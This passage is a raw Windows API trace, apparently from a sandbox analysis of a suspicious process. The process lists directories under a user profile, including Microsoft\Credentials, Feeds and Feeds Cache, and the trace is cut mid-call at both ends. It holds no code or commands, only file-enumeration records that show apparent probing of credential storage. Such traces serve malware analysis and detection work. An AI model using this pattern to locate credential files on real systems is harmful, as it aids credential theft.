ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.676] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.677] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0217.677] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 0 [0217.677] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.677] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x39 [0217.677] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.678] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.678] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb3e5e, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fba0be, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x2ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0217.678] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.678] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.678] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x39 [0217.880] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.880] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.880] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb3e5e, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fba0be, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x2ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0217.880] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb3e5e, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fba0be, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x2ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 0 [0217.880] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.881] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x33 [0217.881] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.881] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.881] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1465be9, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0217.881] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0217.882] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0217.882] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.890] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x33 [0217.890] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.890] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.890] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1465be9, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0217.891] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0217.891] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.891] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1dc9bee0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0217.892] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x5b [0217.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1dc9bee0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0217.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1dc9bec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x5c [0217.894] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.894] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.894] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x401ab2, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1465be9, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 1 [0217.894] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.895] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.895] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1dc9bee0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0217.895] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x5b [0217.895] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1dc9bee0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0217.896] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1dc9bec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x5c [0217.897] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.897] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x401ab2, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.897] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x401ab2, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1465be9, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 1 [0217.898] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x401ab2, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x401ab2, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1465be9, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 0 [0217.898] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.899] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x39 [0217.899] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.899] FindNextFileW (in: 